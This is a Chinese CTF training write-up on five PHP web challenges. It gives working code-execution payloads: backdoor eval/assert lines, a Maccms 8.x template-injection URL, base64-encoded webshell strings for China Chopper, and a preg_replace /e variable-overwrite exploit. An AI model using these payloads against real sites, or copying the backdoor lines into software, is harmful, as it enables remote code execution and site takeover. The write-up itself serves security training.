线下Web训练

web1

漏洞位置

/engine/Plugin/View.php 227行 任意代码执行
@($_REQUEST['test']);

漏洞利用

由于View.php第一行代码:

<?php defined('WEBSITE_ACCESS') or die('No direct script access.');

使得View.php必须通过定义了WEBSITE_ACCESS的php文件包含才能加载,尝试在index.php直接get提交test参数,即可利用成功。菜刀连接直接连接index.php即可,密码为test。或者利用如下url直接getflag:

index.php?test=system('cat /flag');

具体index.php是如何包含view.php的,过程比较复杂,我还没研究明白。

web2

本题不能通过直接把服务器下载的源码直接挂到其他服务器上,因为要连接数据库,所以找未安装的maxcms源码运行install.php即可,源码下载:https://pan.baidu.com/s/1D43OY8k01UNALZsLCBEN4A 密码:pc4m

漏洞分析

Maccms8.x 命令执行漏洞分析(苹果cms) - 颓废’s Blog

漏洞利用

菜刀连接如下url,密码为0

/index.php?m=vod-search&wd={if-A:assert($_POST[0])}{endif-A}

或者利用如下url直接getflag

/index.php?m=vod-search&wd={if-A:system('cat /flag')}{endif-A}

web3

漏洞位置

/admin/inc/configuration.php 4行 任意代码执行

@array_map('assert',(array)base64_decode($_REQUEST['getconfig']));

array_map

将函数作用到数组中的每个值上,每个值都乘以本身,并返回带有新值的数组:

<?php
function myfunction($v)
{
  return($v*$v);
}

$a=array(1,2,3,4,5);
print_r(array_map("myfunction",$a));
?>

漏洞分析

  1. 将请求中的getconfig参数baes64编码后,转换为数组
  2. 将数组中的每一个值(其实就一个),传给assert函数,导致任意代码执行

漏洞利用


<?php

echo base64_encode('@eval($_POST[0]);')."\n";
//QGV2YWwoJF9QT1NUWzBdKTs=

echo base64_encode("system('cat /flag');");
//c3lzdGVtKCdjYXQgL2ZsYWcnKTs=

?>

菜刀连接如下url,密码为0

admin/inc/configuration.php?getconfig=QGV2YWwoJF9QT1NUWzBdKTs=

或者直接getflag

admin/inc/configuration.php?getconfig=c3lzdGVtKCdjYXQgL2ZsYWcnKTs=

web4

php5.4及其以上正常运行此题

漏洞位置

/index.php 8-11行 任意代码执行
if(md5(@$_GET['p']) == '962012d09b8170d912f0669f6d7d9d07'){
    eval($_POST['hello']);
    die();
}

/data/inc/front/product.php 53行 任意代码执行
($_=@$_GET['hs']).@$_($_POST['c014']);

漏洞分析

  • 漏洞1

cmd5解出962012d09b8170d912f0669f6d7d9d07为qwer

  • 漏洞2

product.php第一行

defined('defined('IN_CMS') or exit('Access denied!');') or exit('Access denied!');

需要被定义IN_CMS的其他php文件包含才能执行,容易发现index.php有file参数,即可包含

index.php 90-101行


if (isset($_GET['file']))
{
	$file = $_GET['file'];
	if (strpos($file, '..')!==false || strpos($file, 'images/')!==false){
		die("ctf{ff96520020d34df2f5058e74bc274c87}");
	}
	include('data/inc/front/'.$_GET['file'].'.php');
}
else
{
	include('data/inc/front/index.php');
}

漏洞利用

  • 漏洞1
index.php?p=qwer

hello=system('cat /flag');
  • 漏洞2
index.php?file=product.php&cid=3&page=1&hs=system

c014=cat /flag

web5

漏洞位置

/normaliz.php 4-17行 任意代码执行
function action($post_data, $ip_replacement, $mail_replacement){
	foreach ($post_data as $key => $value) {
		$$key = $value;
	}
	try{
		if ($method == '/\\d+\\.\\d+\\.\\d+\\.\\d+/')
		{
			$res = preg_replace($method, $ip_replacement, $source);
		}
		else
		{
			$res = preg_replace($method, $mail_replacement, $source);
		}
	}

漏洞分析

  1. $$key=$value;导致变量覆盖,可覆盖$method, $ip_replacement, $source
  2. 使$method覆盖为为/e匹配模式
  3. 找到$post_data在/action.php中由所有的POST参数生成
  4. 并且action.php存在文件包含功能

action.php


<?php
require_once("library/common.php");
require_once("library/view.php");
$page = filter($_POST['page']).'.php';
$post_data = array();
foreach ($_POST as $key => $value) {
	$post_data[$key] = $value;
}
@require_once($page);
?>

漏洞利用

利用action.php包含normaliz.php,然后覆盖相应变量即可,payload如下:

/action.php

page=normaliz&method=/a/e&mail_replacement=system('cat /flag');&source=a